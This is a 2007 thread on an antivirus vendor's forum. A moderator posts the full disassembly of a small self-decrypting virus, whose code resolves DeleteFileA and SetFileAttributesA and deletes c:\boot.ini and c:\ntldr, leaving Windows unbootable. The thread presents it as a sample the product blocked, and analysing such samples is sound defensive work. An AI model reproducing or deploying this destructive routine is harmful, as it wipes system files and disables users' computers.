微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: 垃圾病毒,足以致命
反黑先锋
版主

RUNWAY


积分 2901
发帖 2857
注册 2006-6-17
#1  垃圾病毒,足以致命

文章转自:win32k

00406000 >/$ /E9 DA000000     jmp       004060DF
00406005    |> |FF15 50704000 /call      dword ptr [<&KERNEL32.LoadLibrar>; \LoadLibraryA
0040600B    |. |68 33604000     |push      00406***3                           ; /ProcNameOrOrdinal = "DeleteFileA"
00406010    |. |50              |push      eax                                ; |hModule
00406011    |. |FF15 54704000 |call      dword ptr [<&KERNEL32.GetProcAdd>; \GetProcAddress
00406017    |. |A3 66604000     |mov       dword ptr [406066], eax
0040601C    |. |EB 4C           |jmp       short 0040606A
0040601E    |> |6A 00           |push      0                                  ; /ExitCode = 0
00406020    |. |FF15 5C704000 |call      dword ptr [<&KERNEL32.ExitProces>; \ExitProcess
00406026    |. |6B 65 72 6E 6>|ascii     "kernel32.dll",0
00406033    |. |44 65 6C 65 7>|ascii     "DeleteFileA",0
0040603F    |. |63 3A 5C 62 6>|ascii     "c:\boot.ini",0
0040604B    |. |63 3A 5C 6E 7>|ascii     "c:\ntldr",0
00406054    |. |68 26 60 40 0>|ascii     "h&`@",0
00406059    |    |EB              |db        EB
0040605A    |    |A7              |db        A7
0040605B    |    |00              |db        00
0040605C    |    |00              |db        00
0040605D    |    |00              |db        00
0040605E    |    |00              |db        00
0040605F    |    |00              |db        00
00406060    |    |00              |db        00
00406061    |    |00              |db        00
00406062    |    |00              |db        00
00406063    |    |00              |db        00
00406064    |    |00              |db        00
00406065    |    |00              |db        00
00406066    |. |AB1E837C        |dd        kernel32.DeleteFileA
0040606A    |> |68 26604000     |push      00406026                           ; /FileName = "kernel32.dll"
0040606F    |. |FF15 50704000 |call      dword ptr [<&KERNEL32.LoadLibrar>; \LoadLibraryA
00406075    |. |68 C5604000     |push      004060C5                           ; /ProcNameOrOrdinal = "SetFileAttributesA"
0040607A    |. |50              |push      eax                                ; |hModule
0040607B    |. |FF15 54704000 |call      dword ptr [<&KERNEL32.GetProcAdd>; \GetProcAddress
00406081    |. |A3 C1604000     |mov       dword ptr [4060C1], eax
00406086    |. |68 80000000     |push      80
0040608B    |. |68 3F604000     |push      0040603F                           ;    ASCII "c:\boot.ini"
00406090    |. |FF15 C1604000 |call      dword ptr [4060C1]
00406096    |. |68 3F604000     |push      0040603F                           ; /FileName = "c:\boot.ini"
0040609B    |. |FF15 66604000 |call      dword ptr [406066]                 ; \DeleteFileA
004060A1    |. |68 80000000     |push      80
004060A6    |. |68 4B604000     |push      0040604B                           ;    ASCII "c:\ntldr"
004060AB    |. |FF15 C1604000 |call      dword ptr [4060C1]
004060B1    |. |68 4B604000     |push      0040604B                           ; /FileName = "c:\ntldr"
004060B6    |. |FF15 66604000 |call      dword ptr [406066]                 ; \DeleteFileA
004060BC    |.^|E9 5DFFFFFF     |jmp       0040601E
004060C1    |. |00000000        |dd        00000000
004060C5    |. |53 65 74 46 6>|ascii     "SetFileAttribute"
004060D5    |. |73 41 00        |ascii     "sA",0
004060D8    |    |00              |db        00
004060D9    |    |60              |db        60                                 ;    CHAR '`'
004060DA    |    |B8              |db        B8
004060DB    |    |05              |db        05
004060DC    |    |60              |db        60                                 ;    CHAR '`'
004060DD    |    |40              |db        40                                 ;    CHAR '@'
004060DE    |. |D7              |db        D7
004060DF    |> \B8 05604000      mov       eax, 00406005
004060E4    |>    8038 00         |/cmp       byte ptr [eax], 0
004060E7    |.    75 05           ||jnz       short 004060EE
004060E9    |.    C600 FF         ||mov       byte ptr [eax], 0FF
004060EC    |.    EB 11           ||jmp       short 004060FF
004060EE    |>    56              ||push      esi
004060EF    |.    8BF0            ||mov       esi, eax
004060F1    |.    A2 DE604000     ||mov       byte ptr [4060DE], al
004060F6    |.    8A06            ||mov       al, byte ptr [esi]
004060F8    |.    FEC8            ||dec       al
004060FA    |.    8806            ||mov       byte ptr [esi], al
004060FC    |.    8BC6            ||mov       eax, esi
004060FE    |.    5E              ||pop       esi
004060FF    |>    40              ||inc       eax
00406100    |.    3D D8604000     ||cmp       eax, 004060D8
00406105    |.^ 75 DD           |\jnz       short 004060E4
00406107    |.    68 26604000     |push      00406026                           ;    ASCII "kernel32.dll"
0040610C    \.^ E9 F4FEFFFF     \jmp       00406005

微点拦截



其实boot.ini文件根本不用里,ntldr内部集成了一个,那个只不过是为了多系统判断,删了ntldr系统就挂了

[ Last edited by 反黑先锋 on 2007-10-13 at 15:05 ]

※ ※ ※ 本文纯属【反黑先锋】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

荣先祥藏头诗《赞东方微点》
东风欣传好消息
方策独步世所稀
微妙玄机嵌主动
点睛灭毒堪神笔
2007-10-12 19:51
查看资料  发短消息   编辑帖子
qwer9909
注册用户




积分 62
发帖 62
注册 2007-7-29
#2  

了解了

※ ※ ※ 本文纯属【qwer9909】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2007-10-14 16:39
查看资料  发短消息  QQ   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号